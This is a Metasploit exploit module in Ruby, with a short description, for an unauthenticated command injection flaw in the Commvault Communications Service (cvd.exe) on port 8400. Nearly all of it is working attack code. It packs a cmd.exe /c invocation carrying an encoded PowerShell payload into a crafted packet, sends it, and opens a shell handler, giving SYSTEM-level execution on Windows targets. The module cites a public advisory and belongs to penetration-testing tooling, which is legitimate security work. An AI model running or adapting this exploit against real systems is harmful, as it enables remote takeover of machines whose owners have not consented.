This Metasploit module exploits a command injection vulnerability discovered in Commvault Service v11 SP5 and earlier versions (tested in v11 SP5 and v10). The vulnerability exists in the cvd.exe service and allows an attacker to execute arbitrary commands in the context of the service. By default, the Commvault Communications service installs and runs as SYSTEM in Windows and does not require authentication. This vulnerability was discovered in the Windows version. The Linux version wasn't tested.
8f74d3dcfffa4afce969d6065128dfad##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/powershell'
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Powershell
def initialize(info={})
super(update_info(info,
'Name' => 'Commvault Communications Service (cvd) Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability
discovered in Commvault Service v11 SP5 and earlier versions (tested in v11 SP5
and v10). The vulnerability exists in the cvd.exe service and allows an
attacker to execute arbitrary commands in the context of the service. By
default, the Commvault Communications service installs and runs as SYSTEM in
Windows and does not require authentication. This vulnerability was discovered
in the Windows version. The Linux version wasn't tested.
},
'License' => MSF_LICENSE,
'Author' =>
[
'b0yd', # @rwincey / Vulnerability Discovery and MSF module author
],
'References' =>
[
['URL', 'https://www.securifera.com/advisories/sec-2017-0001/']
],
'Platform' => 'win',
'Targets' =>
[
[ 'Commvault Communications Service (cvd) / Microsoft Windows 7 and higher',
{
'Arch' => [ARCH_X64, ARCH_X86]
}
],
],
'Privileged' => true,
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 12 2017'))
register_options([Opt::RPORT(8400)])
end
def exploit
buf = build_exploit
print_status("Connecting to Commvault Communications Service.")
connect
print_status("Executing payload")
#Send the payload
sock.put(buf)
#Handle the shell
handler
disconnect
end
def build_exploit
#Get encoded powershell of payload
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, method: 'reflection')
#Remove additional cmd.exe call
psh = "powershell"
idx = command.index(psh)
command = command[(idx)..-1]
#Build packet
cmd_path = 'C:\Windows\System32\cmd.exe'
msg_type = 9
zero = 0
payload = ""
payload += make_nops(8)
payload += [msg_type].pack('I>')
payload += make_nops(328)
payload += cmd_path
payload += ";"
payload += ' /c "'
payload += command
payload += '" && echo '
payload += "\x00"
payload += [zero].pack('I>')
#Add length header and payload
ret_data = [payload.length].pack('I>')
ret_data += payload
ret_data
end
end